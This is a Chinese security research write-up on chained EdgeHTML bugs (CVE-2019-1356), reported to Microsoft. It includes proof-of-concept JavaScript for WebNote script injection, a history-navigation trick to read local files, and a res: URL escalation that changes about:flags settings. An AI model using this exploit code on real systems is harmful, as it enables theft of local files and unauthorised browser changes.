0x00 前言
在本文中,我将与大家分享Edge(EdgeHTML)浏览器的几个bug,将这些bug结合起来后,可以实现两种不同的攻击效果:LDF(本地文件包含)及EoP(权限提升),后者可以用来修改about:flags
中的任何具体设置。
0x01 从HTTP到FILE上下文
攻击场景的第一个步骤就是从受限的HTTP/Web上下文逃逸到其他上下文环境中(如本地文件)。在实际环境中,我们无法简单诱导用户直接打开已下载的HTML文件,这并不是常见的用户交互行为。
因此我们需要使用bug,不依赖异常的用户交互。在理想情况下,我们希望不涉及用户交互就能完成任务,这种情况下我使用了WebNotes中的一个bug,虽然此时还是有许多用户交互,但由于WebNotes是Edge浏览器的一个组件,经常被用户使用,因此这种交互至少看上去不是特别“异常”。
之前我反馈过WebNotes中的一个bug,现在该bug已经被修复。幸运的是,我又找到了另一个bug,可以用来在本地文件上下文中执行Javascript。
WebNotes的操作过程如下图所示:
如上图所示,WebNote可以捕捉页面截图,也可以在当前页面上绘制图像,得到的WebNote可以保存成本地HTML文件。
因此,当用户打开已保存的WebNote,实际上打开的是一个本地HTML文件。我们需要以某种方式将自己的代码注入已保存的WebNote文件中,以便后续利用。
在上图中,大家可能注意到当前标签页会转到特定的一个WebNote标签页。我们来看看是否能引用这类标签页,以此为利用点。
事实证明,我们的确保留着对WebNote标签页的引用,因此我们可以通过各种方式来影响该标签页。
与之前的研究一样,我们可以从blob:
URI scheme开始。之前我一直在Edge中碰到一个bug,可以将顶部frame导航到某个blob:
URL,这是Edge出于某些原因明确禁止的一种行为。因此这里我使用这个bug将WebNote标签页导航到某个blob
URL,出乎我意料的是,WebNotes没有遵循正常的操作过程,而是会将已创建的blob HTML内容保存在我们已保存的某个WebNote中。
如下图所示,我使用如下代码诱骗Edge将顶部frame导航到某个blob URL:
打断WebNotes正常操作过程,注入Javascript的具体方法如下:
1、用户点击任意位置,打开新标签页,保存对该标签页的引用。
window.onclick=e=>{
fer=open('/1.html','qab');
}
2、新标签页中包含一个页面,可以通过上图所示的代码将顶部frame导航至某个blob URI。
3、指导用户创建WebNote,我们可以通过onblur
事件处理器(handler)来探测用户行为,handler会通过postMessage
向原始页面发送消息,表示用户正在创建WebNote。
a=URL.createObjectURL(new Blob(['Create a WebNote and start drawing something.<script>window.onblur=e=>{opener.postMessage("","*",[]);}</script>'],{type:'text/html'}));
history.replaceState('','',a.split('/')[3]);
location.protocol='blob:http:';
4、一旦用户创建完WebNote,主页面会(使用步骤1保存的引用)再次将标签页重定向到第三个页面。
function step(){
if(go){
setInterval(function(){
fer.close();
qmsg.innerHTML='Now open the saved WebNote.';
},2500);
}else{
setTimeout(function(){
fer=open('/2.html','qab');
},2500);
go=true;
}
}
window.addEventListener("message", step, false);
5、第三个页面会在WebNote标签页中加载,立刻将自身变成一个新的Blob URL,此时就包含我们注入的HTML。
a=URL.createObjectURL(new Blob([`Now save this WebNote<script>
if(location.protocol=='file:'){
// Code in this block will be executed once the user opens the saved WebNote
}else{
window.onblur=e=>{opener.postMessage("","*",[]);}
}
</script>`],{type:'text/html'}));
history.replaceState('','',a.split('/')[3]);
location.protocol='blob:http:';
6、随后指导用户保存WebNote,这里Edge不会执行正常操作,保存屏幕截图,而是会保存我们构造的Blob内容。
7、一旦用户打开新创建的WebNote,我们注入的代码就会在file:
URI scheme中执行。
现在我们已实现上下文逃逸,那么在这个FILE:
上下文中,我们能执行哪些操作?
0x02 绕过文件读取限制
当涉及到本地文件上下文时,磁盘上的WebNote HTML文件位置属于比较特殊的情况。大家可以看到,如果我们使用Edge打开本地HTML文件,那么该文件就可以访问原始文件目录之外的其他文件。然而,WebNote HTML文件位于Edge的AppData
目录中,该目录中也包含一些临时数据(另外打印预览文档也位于该目录中)。
Edge不允许位于AppData
目录中的HTML文档访问其他路径。该目录与“Downloads”目录类似,在这些目录中打开的HTML文件无法访问工作目录之外的数据。举个例子:
C:\Users\Q\Downloads\malice.html
无法访问C:\a\secret.txt
,C:\Users\Q\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\User\Default\WebNotes\malice.html
无法访问C:\a\secret.txt
,然而C:\Users\Q\projects\mywebsite\createdByMe.html
可以访问C:\a\secret.txt
。
根据我的猜测,如果HTML文件直接来自于互联网,那么与正常用户创建的文件相比,Edge会将该文件当成权限较低的内容。这种机制有点类似适用于Word/Excel文件的安全性。
现在不幸的是,我们注入的HTML位于受限文件上下文中。因此我们需要完成另一个逃逸任务,幸运的是这次任务比前面那一次要简单得多。首先我注意到浏览器并没有限制replaceState
/pushState
函数,单页面web应用通常会使用该函数来模拟网站导航行为。我在file:
URI scheme内使用该函数,就可以修改HTML文档的路径。然而单单这样操作依然不够,Edge比较机智,不会被这种技巧糊弄,因此我需要稍加创新。
文档源已在其他地方设置,我在修改URL时并没有修改这个值。因此我只要找到办法欺骗Edge,使其认为打开的HTML文件位于其他位置,就能绕过各种限制。具体实现代码如下:
setTimeout(function(){
history.pushState('','','file:///C:/a/fictional-non-existent.html')
},500);
setTimeout(function(){
document.write("<a id=qa href="javascript:try{top.fetch('file:///C:/a/q.txt',{mode:'no-cors',credentials:'include'}).then((q)=>{return q.text()}).then((q)=>{alert(escape(q))});}catch(e){}">aaaaa</a><script>qa.click()</script>")
history.pushState('','','file:///C:/a/q.html');
history.back();
},1500);
演示动图如下所示:
该过程工作原理如下:
1、首先使用pushState
函数将URL修改为某个虚假的、不存在HTML文件,该文件与我们的目标文件位于同一个目录中。
2、pushState
插入导航历史记录,而replaceState
替换当前已查看的历史页面,这个操作非常重要。
3、然后这里我使用了document.write
函数,我希望能导航回该页面,查看之前写入的HTML。据我所知,这种方法仅适用于这种特殊的HTML插入方式。
4、然后执行第二次pushState
,这一次将当前URL修改为目标文件位置。
5、执行history.back()
,以便返回之前创建的document.write
值。这一次Edge会错误地认为这是真实存在的HTML文件(实际上该文件并不存在)。
6、最后尝试读取目标文件,大功告成。
0x03 进一步提升权限
前面介绍的导航技巧同样可以用来修改Edge浏览器about:flags
页面中的任何设置,这是因为file:
上下文可以导航至res:
URL。我们可以使用前面的技巧,将这种导航技术插入res:
上下文中。
我使用的代码如下所示:
var qpay=escape`history.replaceState("","","res://edgehtml.dll/flags.htm");
setTimeout(function(){document.write('<iframe src="javascript:top.external.SetExperimentalFlag(/F12ContextMenuEntryPoints/.source, false)">');
history.pushState('','','res://apds.dll/REDIRECT.HTML?target=javascript:123');history.back();},333);`;
location="res://apds.dll/REDIRECT.HTML?target=javascript:${qpay}";
具体操作如下:
1、构造JS payload,然后导航至res://apds.dll/REDIRECT.HTML?target=javascript:{payload}
,这里我借鉴了Lokihardt之前研究的针对Edge的利用技术。
2、payload同样利用了我们前面讨论的导航bug来提升权限,并执行top.external.SetExperimentalFlag(/F12ContextMenuEntryPoints/.source, false)
,修改about:flags
中的某个设置值。
3、完成提权任务。
0x04 PoC及演示视频
现在将前面的bug结合起来使用。
首先是结合本地文件包含bug:
然后是用来修改设置的提权bug:
大家可以访问此处下载我们发送给微软的PoC源码。
0x05 参考资料
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1356